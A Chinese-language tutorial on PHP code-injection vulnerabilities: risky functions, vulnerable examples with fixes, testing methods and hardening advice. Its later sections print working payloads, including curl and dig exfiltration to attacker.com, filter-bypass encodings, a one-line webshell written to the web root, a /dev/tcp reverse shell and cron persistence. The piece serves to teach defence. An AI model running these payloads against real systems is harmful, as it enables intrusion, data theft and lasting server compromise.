1. 从一次意外的“功能”说起那天下午我正在调试一个老旧的内部管理系统一个简单的用户反馈页面。页面上有个“预览模板”的功能设计初衷是让管理员输入一段包含{username}、{date}这类占位符的文本然后后端用str_replace替换成真实数据并渲染出来。为了“灵活”当时的开发者允许这个模板内容通过一个名为template的 GET 参数直接传入。我随手在地址栏里加了个template?php phpinfo();?然后回车——本意是想测试一下输入过滤结果浏览器里赫然弹出了熟悉的 PHP 配置信息页面。那一刻空气仿佛凝固了。这个看似无害的功能点因为一个危险函数的错误使用直接向攻击者敞开了服务器的大门。这就是 PHP 代码注入漏洞一个古老却远未绝迹的安全幽灵。PHP 代码注入简单来说就是攻击者能够将恶意 PHP 代码“注入”到服务器端的应用程序逻辑中并使其得以执行。它与 SQL 注入、命令注入同属“注入”类漏洞的大家族但危害性往往更直接、更致命。因为它突破的是应用逻辑层直达脚本语言解释器本身。成功利用后攻击者几乎可以获得与 Web 应用相同的服务器权限读取敏感文件、篡改网站内容、甚至以此为跳板进行内网渗透。对于开发者而言理解哪些函数是潜在的“危险分子”以及攻击者是如何一步步利用它们的是构建安全防线的第一步。本文将从 PHP 语言中那些常见的“可注入”高危函数讲起并通过几个贴近实战的漏洞利用实例带你深入理解其原理与防御之道。2. PHP 中的高危“可注入”函数剖析PHP 提供了强大的动态代码执行能力但这把双刃剑如果使用不当就会成为漏洞之源。下面我们分类梳理那些需要重点警惕的函数。2.1 动态代码执行函数最直接的威胁这类函数的设计初衷就是执行字符串形式的 PHP 代码它们是代码注入的“直通车”。eval()这是头号危险分子。eval()将其参数字符串直接作为 PHP 代码来执行。$code $_GET[input]; eval($code); // 如果 input 是 “system(‘whoami’);”那么服务器命令就被执行了。它的危险性在于它期望并执行的是完整的 PHP 代码片段。任何用户输入如果未经严格过滤就直接流入eval()等同于将服务器的 shell 交给了用户。assert()在 PHP 8.0.0 之前assert()也是一个代码执行函数。它本用于调试断言但如果传入字符串参数它也会将其作为 PHP 代码执行。// PHP 7.x 及以下版本 $cmd $_POST[cmd]; assert($cmd); // 如果 cmd 是 “system(‘cat /etc/passwd’)”则代码执行。注意从 PHP 8.0.0 开始assert()不再执行字符串参数而是将其视为普通表达式参数这大大降低了其危险性。但在维护 PHP 7.x 项目时它仍需被重点关注。2.2 动态函数执行与回调函数间接的代码执行路径这类函数通过“回调”机制可以间接调用包含恶意代码的函数。call_user_func()与call_user_func_array()它们用于调用用户自定义的回调函数。$func $_GET[function]; $param $_GET[param]; call_user_func($func, $param); // 如果 function 是 “system” param 是 “id”则执行系统命令。攻击者可以尝试传入system、shell_exec、exec、passthru等危险函数名作为回调函数。array_map()、array_filter()、array_reduce()等数组函数当它们的第一个参数回调函数可控时风险就产生了。$array [1, 2, 3]; $func $_GET[callback]; $new_array array_map($func, $array); // 回调函数可控usort()、uasort()、uksort()等排序函数它们的比较函数参数同样可能被利用。$array [a, b, c]; $compare_func $_POST[cmp]; usort($array, $compare_func); // 如果 cmp 是恶意函数则会在排序过程中被执行多次。preg_replace()的/e修饰符已废弃但历史代码中存在这是正则表达式替换中的一个特殊修饰符它使得替换字符串会被作为 PHP 代码执行。// PHP 5.x 版本中存在的危险用法 $input $_GET[data]; echo preg_replace(/.*/e, $input, dummy); // 执行 $input 中的代码重要提示/e修饰符在 PHP 5.5.0 中已被废弃并在 PHP 7.0.0 中被完全移除。但在审计老旧系统代码时这仍是一个需要排查的高危点。2.3 动态文件包含通往代码执行的另一扇门虽然严格来说不属于“函数注入”但include、require及其_once变种在配合文件上传或路径控制时常常是代码执行的最终步骤。如果包含的文件路径或内容用户可控攻击者可以上传一个包含 PHP 代码的文本文件如图片马然后诱导应用包含它从而执行代码。$page $_GET[page]; include(/pages/ . $page . .php); // 如果 page 是 “../../../tmp/uploaded_shell”则可能包含恶意文件。这里的关键是allow_url_include配置和文件路径的控制。当它与文件上传漏洞结合时威力巨大。2.4 其他潜在风险点create_function()已废弃这个函数用于动态创建匿名函数在 PHP 7.2.0 中废弃8.0.0 移除。它内部使用了eval()因此其参数如果可控同样存在代码注入风险。$func create_function($a, return . $_GET[code] . ;); // code 参数可控 $func(1);反序列化漏洞unserialize()函数虽然不直接执行代码但当它反序列化一个精心构造的对象时可以触发该对象的__wakeup()、__destruct()、__toString()等魔术方法如果这些方法中包含了危险操作如文件操作、命令执行同样可以达到代码执行的效果。这是一种更隐蔽、更复杂的注入方式。3. 漏洞利用实例深度拆解理解了危险函数我们来看看攻击者是如何在真实场景中利用它们的。我们构造几个典型的场景从简单到复杂。3.1 实例一eval()在模板引擎中的误用漏洞场景一个简易的网站配置后台允许管理员通过一个文本框设置网站的统计代码通常是 JavaScript。后端处理逻辑如下// config_save.php $analytics_code $_POST[analytics_code]; // 为了“方便”开发者将代码直接写入一个 config.php 文件 $config_content ?php\n\$analytics_code . addslashes($analytics_code) . ;\n?; file_put_contents(config.php, $config_content);初看似乎用了addslashes转义单引号防止破坏 PHP 字符串语法。但问题在于用户输入被直接拼接到了 PHP 文件内容中。攻击者可以这样利用攻击载荷‘; phpinfo(); //注入后的config.php文件内容?php $analytics_code ; phpinfo(); //; ?addslashes只转义了单引号但攻击者通过闭合前面的单引号提前结束了字符串定义然后插入phpinfo();代码并用//注释掉后面原代码的剩余部分。这样当config.php被其他页面包含时phpinfo()就会被执行。漏洞根源将不可信数据直接拼接至代码上下文这是最根本的原因。$analytics_code被直接当作 PHP 文件内容的一部分写入。转义不彻底addslashes仅针对引号无法防御这种通过闭合语句进行的注入。正确做法 绝对不应该将用户输入直接写入可执行的 PHP 文件。统计代码应存入数据库或纯文本/JSON/XML 配置文件中在显示时通过 HTML 转义htmlspecialchars后输出到前端。如果必须动态生成 PHP 配置文件应使用var_export()函数来安全地生成数组的 PHP 代码表示或直接序列化到文件。// 安全做法将配置存入数组然后用 var_export 写入 $config [analytics_code $_POST[analytics_code]]; file_put_contents(config.json, json_encode($config)); // 首选非PHP格式 // 或者如果必须是 PHP file_put_contents(config_array.php, ?php return . var_export($config, true) . ;); // 使用时 include ‘config_array.php’ 得到数组 $config3.2 实例二call_user_func()与动态回调的劫持漏洞场景一个插件化的应用允许通过 URL 指定要调用的“处理器”Handler来处理特定任务。// processor.php $handler_name $_GET[handler]; // 例如 ‘JsonRenderer’ $data $_GET[data]; // 假设有一个处理器映射数组 $handlers [ JsonRenderer renderJson, XmlRenderer renderXml, // ... ]; $handler_function $handlers[$handler_name] ?? defaultHandler; // 动态调用处理器函数 call_user_func($handler_function, $data);看起来有白名单映射$handlers似乎安全。但如果映射关系是从数据库或配置文件中动态加载的而攻击者能够污染这个数据源例如通过另一个 SQL 注入或文件写入漏洞或者存在逻辑缺陷导致可以绕过映射危险就来了。攻击路径一直接参数控制如果代码逻辑有缺陷使得$handler_function可以直接来自用户输入比如白名单检查被绕过那么攻击者可以processor.php?handlersystemdataid此时call_user_func(‘system’, ‘id’)就会执行系统命令id。攻击路径二利用内置危险函数即使$handler_function必须是类方法名如ClassName::method如果$data参数可控且被传入的函数内部使用了eval或类似危险函数也可能造成二次注入。漏洞根源回调函数名完全或部分用户可控。缺乏严格的白名单验证机制或者白名单可以被绕过。传递给回调函数的参数同样用户可控且回调函数内部不安全。正确做法强制白名单回调函数名必须严格与一个预定义的、硬编码的白名单数组进行比对。$allowed_handlers [‘renderJson’, ‘renderXml’, ‘defaultHandler’]; if (!in_array($handler_function, $allowed_handlers, true)) { die(‘Invalid handler’); }使用闭包或类方法尽可能将处理逻辑封装在类的方法中通过类实例和方法名来调用而不是裸露的函数名字符串。参数过滤对传入回调函数的参数进行严格的类型检查和过滤确保其符合预期。3.3 实例三preg_replace()/e修饰符的历史遗留问题漏洞场景在一个遗留的文本过滤或模板系统中发现了如下代码// 本意是过滤掉一些恶意关键词并将其替换为警告 $text $_POST[‘content’]; $pattern ‘/(badword1|badword2|spam)/ie’; $replacement “‘[FILTERED]’“; $filtered_text preg_replace($pattern, $replacement, $text);开发者意图是当匹配到badword1等关键词时将其替换为字符串[FILTERED]。但由于使用了/e修饰符$replacement会被当作 PHP 代码执行。注意这里的$replacement是一个硬编码的字符串[FILTERED]看起来安全。然而/e修饰符执行的是经过反向引用替换后的$replacement。攻击载荷 假设用户输入内容为test {${phpinfo()}} badword1preg_replace会匹配到badword1。在/e模式下它首先会将$replacement字符串中的反向引用如\\1,\\0等替换为匹配到的内容。但这里没有定义反向引用。关键在于PHP 在将替换后的字符串作为代码执行前会先进行一次变量解析。在双引号字符串中${...}内的代码会被执行。因此即便$replacement是硬编码的单引号字符串攻击者通过输入{${phpinfo()}}这样的 payload在匹配和替换的复杂过程中可能触发 PHP 的变量解析功能从而执行phpinfo()。更直接的利用方式是如果模式中使用了捕获组攻击者可以控制替换字符串的一部分$pattern ‘/^(.*)$/e’; // 危险匹配整个输入 $replacement ‘strtoupper(“\\1”)’; // 本意是将输入转为大写 $text $_GET[‘input’]; echo preg_replace($pattern, $replacement, $text);攻击者传入inputphpinfo()则\\1被替换为phpinfo()最终执行的代码是strtoupper(“phpinfo()”)。但phpinfo()作为函数调用会先被执行其返回值始终为1再传给strtoupper。所以phpinfo()就被执行了。漏洞根源使用了已废弃且极度危险的/e修饰符。用户输入直接参与到了最终被执行的代码字符串的构建中。正确做法立即升级确保运行环境为 PHP 7.0 以上从根本上移除/e修饰符的支持。代码重构将使用/e修饰符的preg_replace改为使用preg_replace_callback函数。$pattern ‘/(badword1|badword2|spam)/i’; $filtered_text preg_replace_callback($pattern, function($matches) { return ‘[FILTERED]’; }, $text);preg_replace_callback通过一个明确的回调函数来处理替换逻辑安全可控。3.4 实例四反序列化漏洞导致的链式代码执行这是一个更高级的实例展示了如何利用unserialize()触发一系列魔术方法最终达到代码执行。假设存在一个这样的类class FileLogger { public $logFile; public $initMsg; function __construct($file) { $this-logFile $file; $this-initMsg “#— Session started —#\n”; // 危险操作将初始化信息写入日志文件 file_put_contents($this-logFile, $this-initMsg, FILE_APPEND); } function __destruct() { // 危险操作在对象销毁时写入结束信息 $msg “#— Session ended —#\n”; file_put_contents($this-logFile, $msg, FILE_APPEND); } function appendLog($msg) { $logEntry date(“Y-m-d H:i:s”) . “ - “ . $msg . “\n”; file_put_contents($this-logFile, $logEntry, FILE_APPEND); } } // 某处存在不安全的反序列化 $user_data base64_decode($_COOKIE[‘session’]); $obj unserialize($user_data); // 反序列化用户可控的数据这个FileLogger类在构造和析构时都会向$logFile指定的文件写入内容。如果攻击者能够控制序列化字符串他就可以构造一个恶意的FileLogger对象。攻击者构造的序列化字符串// 攻击者本地的构造代码 class FileLogger { public $logFile; public $initMsg; } $obj new FileLogger(); $obj-logFile ‘/var/www/html/shell.php’; // 目标Web目录下的一个文件 $obj-initMsg ‘?php system($_GET[“cmd”]); ?‘; // 要写入的PHP木马内容 $serialized serialize($obj); echo base64_encode($serialized); // 输出Tzo6MTA6IkZpbGVMb2dnZXIiOjI6e3M6NzoibG9nRmlsZSI7czozMDoiL3Zhci93d3cvaHRtbC9zaGVsbC5waHAiO3M6NzonaW5pdE1zZyc7czozNToiPD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8Jjt9攻击者将这个 Base64 字符串作为sessionCookie 发送给服务器。服务器端的unserialize()会还原这个对象。在还原过程中根据序列化数据创建一个FileLogger对象属性$logFile和$initMsg被设置为攻击者指定的值。__construct构造函数不会在反序列化时被调用这是 PHP 反序列化的一个关键特点。所以此时不会写入文件。脚本执行结束后PHP 的垃圾回收机制会销毁这个对象触发__destruct()方法。__destruct()方法执行file_put_contents($this-logFile, $msg, FILE_APPEND);。此时$this-logFile是/var/www/html/shell.php$msg是硬编码的结束信息。这会在 Web 目录下创建或追加shell.php文件。注意攻击者注入的 PHP 代码$initMsg实际上是在__construct中被写入的而__construct在反序列化时没执行。所以这个例子中攻击者需要寻找其他在反序列化后会自动调用的魔术方法如__wakeup()或者依赖其他类的方法调用链POP链来触发文件写入。这里为了简化我们假设类中有一个__wakeup()方法它调用了appendLog($this-initMsg)。漏洞根源不安全的反序列化对用户可控的数据直接进行unserialize()。类中存在危险的魔术方法__destruct、__wakeup、__toString等魔术方法中包含了危险操作如文件操作、命令执行且其参数对象属性用户可控。缺乏反序列化过程的校验没有在反序列化后检查对象的完整性和合法性。正确做法避免反序列化不可信数据这是根本。使用 JSON (json_decode/json_encode) 等更安全的数据交换格式。使用安全的白名单反序列化PHP 7 引入了unserialize()的第二个参数可以指定允许反序列化的类名数组。$allowed_classes [‘SafeDataClass’, ‘AnotherSafeClass’]; $obj unserialize($user_data, [‘allowed_classes’ $allowed_classes]);对魔术方法进行安全加固在魔术方法中避免使用用户可控的属性进行敏感操作或进行严格的输入验证。4. 漏洞的挖掘、测试与防御实践了解了原理和实例我们谈谈如何主动发现和防御这些漏洞。4.1 黑盒与灰盒测试中的探测技巧在未获取源码的情况下黑盒可以尝试以下方法探测代码注入点参数模糊测试Fuzzing对所有接收参数的端点GET, POST, COOKIE, Header尝试注入一些基本的 PHP 代码片段观察响应差异。简单探测?php echo md5(‘test’);?、${phpinfo()}、{{phpinfo()}}针对某些模板。命令执行探测?php system(‘whoami’);?、?php echo \id;?。注意需要观察是否有命令执行成功后的输出如用户名、目录列表等被返回。时间盲注探测如果无回显可以尝试使用sleep()函数?php sleep(10);?观察响应时间是否明显延迟。寻找动态函数/文件包含特征在 URL 或参数中寻找page、file、module、action、func、callback等关键词。尝试传入../../../../etc/passwd进行路径遍历或者传入http://attacker.com/shell.txt如果allow_url_includeOn进行远程文件包含测试这可能是代码执行的前奏。分析错误信息有时注入错误的 PHP 语法如?php echo(‘会触发 PHP 解析错误从而暴露漏洞存在及服务器路径信息。在拥有部分代码或通过其他方式如文件读取漏洞获取了源码后灰盒可以进行更精准的审计全局搜索危险函数使用 IDE 或grep命令搜索eval(、assert(、call_user_func、call_user_func_array、array_map、preg_replace.*/e、create_function等关键词。跟踪用户输入从$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER等超全局变量出发跟踪数据流看它们是否最终流入了上述危险函数。检查序列化操作搜索unserialize(并检查反序列化的数据来源是否用户可控。同时审查相关类的魔术方法__wakeup、__destruct、__toString等是否存在危险操作。4.2 多层防御策略从开发到部署防御代码注入需要贯穿整个软件生命周期。1. 输入验证与过滤白名单原则严格类型转换对于期望是整数的参数使用intval()或(int)强制转换。白名单验证对于有限集合的参数如操作类型、处理器名称使用硬编码的白名单数组进行校验。过滤特定字符在确实需要处理复杂字符串时可以使用preg_replace过滤掉 PHP 代码标签和危险函数名但这不是最可靠的方法。// 示例过滤PHP标签和分号可能不全面 $input preg_replace(‘/[?%;]/’, ‘’, $input);2. 安全的数据处理与输出避免动态代码执行这是铁律。除非有极其特殊且受控的需求否则永远不要使用eval()、assert()PHP 7.x下和create_function()。安全使用回调函数确保回调函数名来自白名单。对于array_map等尽量使用匿名函数或确保回调函数是安全的。使用安全的替换函数用preg_replace_callback彻底替代preg_replace的/e修饰符。安全反序列化优先使用 JSON。必须使用 PHP 序列化时启用allowed_classes限制并对反序列化后的对象进行严格的业务逻辑校验。3. 配置与环境加固禁用危险函数在php.ini中使用disable_functions指令禁用不必要的危险函数。disable_functions eval, assert, system, exec, shell_exec, passthru, proc_open, popen, pcntl_exec, dl, …注意禁用eval和assert可以有效阻断大多数直接代码注入但可能会影响某些依赖它们的合法程序如某些古老的模板引擎或代码分析工具需评估。关闭危险配置确保php.ini中allow_url_fopen和allow_url_include均为Off防止远程文件包含漏洞被利用进行代码执行。设置open_basedir限制 PHP 脚本可以访问的文件系统目录即使被注入也能将破坏范围限制在特定目录内。4. 代码审计与依赖管理定期进行安全代码审计无论是手动还是使用 SAST静态应用安全测试工具。及时更新依赖保持 PHP 版本、框架、库的更新已知漏洞的修复往往包含在这些更新中。例如升级到 PHP 7.0 就天然移除了/e修饰符和create_function。最小权限原则运行 PHP 的进程如 www-data 用户应仅拥有完成其功能所必需的最小文件系统权限和系统权限。5. 实战中的复杂情况与高级利用在实际的漏洞利用中攻击者往往会遇到各种限制他们会使用一些技巧来绕过。5.1 无回显盲注下的利用如果代码被执行了但结果没有输出到页面上例如命令执行结果被丢弃或phpinfo()被输出缓冲拦截攻击者需要采用盲注技术。时间延迟判断这是最经典的盲注手段。通过sleep()函数来判断注入是否成功。// 探测 payload eval($_GET[‘c’]); // 漏洞点 // 攻击者传入cif(strpos(file_get_contents(‘/etc/passwd’),’root’)!false)sleep(5);如果响应延迟了大约5秒说明/etc/passwd文件中包含root字符串从而间接验证了文件读取和代码执行。外带数据OOB将执行结果通过网络请求发送到攻击者控制的服务器。使用dnslog利用gethostbyname()或file_get_contents()触发 DNS 解析将数据放在域名中。// 将命令执行结果外带 system(‘whoami | xxd -p | tr -d ‘\\n‘ | xargs -I {} curl http://attacker.com/{}‘); // 或者用更隐蔽的DNS请求 system(‘dig whoami | tr -d ‘\\n‘.attacker.com‘);使用 HTTP 请求通过curl、wget或 PHP 的file_get_contents(‘http://attacker.com/‘ . $result)将数据带出。5.2 过滤绕过技巧当应用尝试过滤某些关键词时攻击者会尝试绕过。字符串拼接与编码拼接system(‘who’ . ‘ami’)或$_GET[‘a’]($_GET[‘b’])asystembid。Base64 编码eval(base64_decode(‘c3lzdGVtKCdpZCcpOw’));。Hex 编码eval(“\x73\x79\x73\x74\x65\x6d\x28\x27\x69\x64\x27\x29\x3b”);。利用.运算符(‘sy’.’stem’)(‘id’);。利用 PHP 动态特性变量函数$func ‘system’; $func(‘id’);回调函数数组array_map(‘system’, array(‘id’));${}变量变量${‘_GET’}[‘cmd’]可以访问$_GET[‘cmd’]有时可以绕过对$_GET的直接过滤。利用其他语言结构或函数反引号执行运算符id等价于shell_exec(‘id’)。include/require配合伪协议如果allow_url_include打开可以利用php://input流来包含 POST 数据中的代码。GET /vuln.php?filephp://input POST Data: ?php system(‘id’); ?5.3 从代码注入到持久化后门一次成功的代码注入攻击往往不是终点。攻击者会寻求在服务器上建立持久化的访问通道。写入 Web Shell这是最常见的方式。利用代码注入漏洞的写文件能力在 Web 目录下写入一个一句话木马文件。// 利用漏洞执行代码写入 webshell file_put_contents(‘/var/www/html/images/shell.php’, ‘?php eval($_POST[“ant”]);?‘);然后就可以使用中国菜刀、蚁剑等工具进行连接管理。修改现有文件在无法创建新文件的情况下可能会选择修改现有的、可写的 PHP 文件如日志文件、配置文件、模板文件在末尾或特定位置插入恶意代码。安装反向 Shell通过代码注入执行命令下载并运行一个反向 Shell 脚本让服务器主动连接到攻击者的监听端口获得一个交互式的命令行。# 攻击者可能在漏洞利用中执行 bash -c ‘bash -i /dev/tcp/attacker_ip/4444 01‘创建计划任务Cron或启动项在 Linux 下通过写入/etc/cron.d/或用户crontab在 Windows 下通过schtasks实现定时持久化。防御这些后续攻击除了防止初始的代码注入外还需要加强文件系统监控、设置不可执行权限的 Web 目录、部署 WAFWeb 应用防火墙以及进行定期的入侵检测。